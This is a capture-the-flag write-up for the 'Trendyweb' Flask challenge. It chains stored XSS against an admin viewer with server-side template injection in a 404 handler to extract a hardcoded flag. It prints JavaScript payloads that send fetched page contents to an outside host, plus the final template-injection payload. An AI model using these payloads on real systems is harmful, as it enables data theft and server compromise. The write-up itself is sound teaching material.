Trendyweb (Web, 100p)

tl;dr use xss to get a 404 error page and then use template injection to get the flag
We're given the source code of a sever written using flask. The flag is hardcoded into the source but it's not used anywhere, so we either have to steal the source files or somehow extract it from the program.
The site itself allows us to write posts, which are then viewed by the admin. XSS almost immediately comes to mind
A quick check: (You can grab the source code of /catch here)
<script type="text/javascript">
window.open ('http://nazywam.xyz/catch?','_self',false)
</script>
Confirms it:
It's worth noticing, that this ip matches the ip of the service, so the admin can access the server locally.
However, we're not able to get the files using that, same-origin-policy prevents us from making a request for the same domain, using a different protocol like "file://"
It turns out that the responses to error messages are vulnerable to a template injection
@app.errorhandler(404)
def not_found(e=None):
    message = "%s was not found on the server." % request.url
    template_string = template % message
    return render_template_string(template_string, title=title_404), 404
We have almost complete control over request.url and can inject a template, like {{ variable }}
The problem is, http://52.78.86.97:8080/somepagethatdoesntexist returns nginx error pages instead of flask ones.
As it later turned out, flask used his error pages only for specified addresses, including 127.0.0.1 ;)
No problem! We use our xss to get the page as localhost:
<script>
function hack(url, callback){
    var xmlhttp = new XMLHttpRequest();
    xmlhttp.onreadystatechange = function(){
        if (xmlhttp.readyState == 4){
			window.open ('http://nazywam.xyz/catch?'+xmlhttp.responseText,'_self',false)
        }
    }
    xmlhttp.open("GET", url, true);
    xmlhttp.send();
}

callAjax("/{{ FLAG }}")
 
</script>
Unfortunately, we can't acces FLAG directly but only template globals and they don't have references to app class.
The breakthrough was finding the function config.from_object("admin.app"), with it, we can finally access the FLAG variable.
Because config.from_object() only updates config, we have to print it separatly, so the final payload is:
hack("/{{ config.from_object('admin.app') }} {{ config.FLAG }}")
###Congratz, to the author(s), that was a great chall! If only we got it 4 minutes earlier ;) ###